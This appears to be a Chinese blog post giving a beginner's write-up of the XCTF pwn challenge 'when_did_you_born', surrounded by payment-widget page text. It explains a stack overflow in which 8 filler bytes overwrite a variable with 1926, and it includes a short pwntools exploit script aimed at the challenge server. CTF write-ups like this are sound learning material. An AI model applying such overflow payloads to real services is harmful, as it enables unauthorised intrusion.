xctf pwn when_did_you_born

本文介绍了作者在XCTF比赛中遇到的一道栈溢出题目,通过分析ida代码,发现可以通过栈覆盖来改变变量值。作者提供了一个简单的python脚本来演示如何利用栈溢出来将出生年份改为1926。博客内容涉及逆向工程、安全漏洞利用和Python脚本编写。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XCTF when_did_you_born


  第一次写博客,写的不好,请多指教。
首先,看ida代码
在这里插入图片描述
(当时因为比较简单就没看汇编)
   看代码,v4和v5之间只差8字节,利用栈覆盖,用8个数据填充v4,然后把第一次的v5覆盖掉(第一次v5可以是除了1926的任意数,第二次输出v4的时候利用栈覆盖,把原来的v5覆盖成1926)
最后贴出萌新的脚本

from pwn import *
io=remote("220.249.52.133",31846)
io.recvuntil("What's Your Birth?")
io.sendline("1")
payload="1"*8+p32(1926)
io.recvuntil("What's Your Name?")
io.sendline(payload)
io.interactive()

(这种题比较容易,有问题可以私聊)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值